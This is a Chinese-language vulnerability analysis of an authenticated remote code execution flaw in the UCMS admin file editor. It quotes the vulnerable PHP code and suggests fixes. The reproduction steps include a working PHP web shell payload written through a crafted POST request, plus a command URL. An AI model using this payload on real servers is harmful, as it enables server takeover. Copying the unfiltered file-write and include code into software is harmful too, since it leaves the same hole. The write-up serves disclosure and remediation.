某一cms后台代码执行漏洞
字数 963 2025-08-26 22:11:40
UCMS后台代码执行漏洞分析与利用
漏洞概述
UCMS内容管理系统存在一个后台代码执行漏洞,允许已认证的攻击者通过文件编辑功能写入任意文件内容,从而导致远程代码执行(RCE)。该漏洞存在于后台文件管理模块,需要管理员权限才能利用。
漏洞影响
- 影响版本:特定版本的UCMS系统
- 漏洞类型:文件写入导致代码执行
- 危害等级:高危(需要后台管理员权限)
漏洞复现步骤
-
登录后台:首先需要获取有效的管理员凭证登录系统后台
-
访问文件管理:
- 进入"后台管理中心" → "文件管理"
- 任意选择一个可编辑的文件进行编辑
-
拦截保存请求:
- 修改文件内容后点击保存
- 使用Burp Suite等工具拦截保存请求
-
构造恶意请求:
POST /sadmin/fileedit.php?dir=/&file=shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded co=<?php system($_GET['cmd']);?> -
访问恶意文件:
- 访问写入的shell文件执行任意命令
http://target.com/shell.php?cmd=whoami
漏洞分析
漏洞位置
漏洞主要存在于两个文件:
uncms/index.php(44行)sadmin/fileedit.php
关键代码分析
- index.php中的路由处理:
if(isset($_GET['do'])) {
$thisdo=explode('_',$_GET['do']);
// ...
require($thisdo[0].'/'.$thisdo[1].'.php');
}
这部分代码直接将GET参数do作为文件名包含,缺乏足够的安全检查。
- fileedit.php中的文件写入:
if(isset($_POST['co'])) {
checktoken();
$content=$_POST['co'];
$fp = @fopen($alldir.$filename,"w");
@fwrite($fp,$content);
fclose($fp);
// ...
}
关键问题:
- 使用
w模式打开文件,文件不存在时会自动创建 - 对
$filename和$content缺乏有效过滤 - 仅检查文件扩展名是否在允许列表(
php,css,js,htm,html,txt)
- 文件扩展名检查函数:
function isedit($filename) {
$array=array('php','css','js','htm','html','txt');
foreach($array as $val) {
if(pathinfo($filename, PATHINFO_EXTENSION)==$val) {
Return true;
}
}
Return false;
}
虽然检查了文件扩展名,但允许.php文件被编辑,这是致命的安全问题。
安全缺陷
- 缺乏对文件路径的严格校验
- 允许写入PHP等可执行文件类型
- 对文件内容没有进行安全过滤
- 仅依赖扩展名检查,没有考虑其他安全因素
修复建议
-
严格限制可编辑文件类型:
- 禁止编辑.php等可执行文件
- 仅允许编辑静态资源文件
-
加强路径校验:
- 使用白名单限制可编辑目录
- 禁止相对路径和特殊字符
-
内容安全检查:
- 对写入内容进行PHP标签检测
- 实现内容过滤机制
-
权限控制:
- 增加更细粒度的权限控制
- 对文件操作进行日志记录
参考链接
总结
该漏洞虽然需要管理员权限才能利用,但危害性极高,可导致完全控制服务器。开发人员应重视后台功能的安全性,不能仅依赖前端验证,必须在服务器端实施严格的安全控制。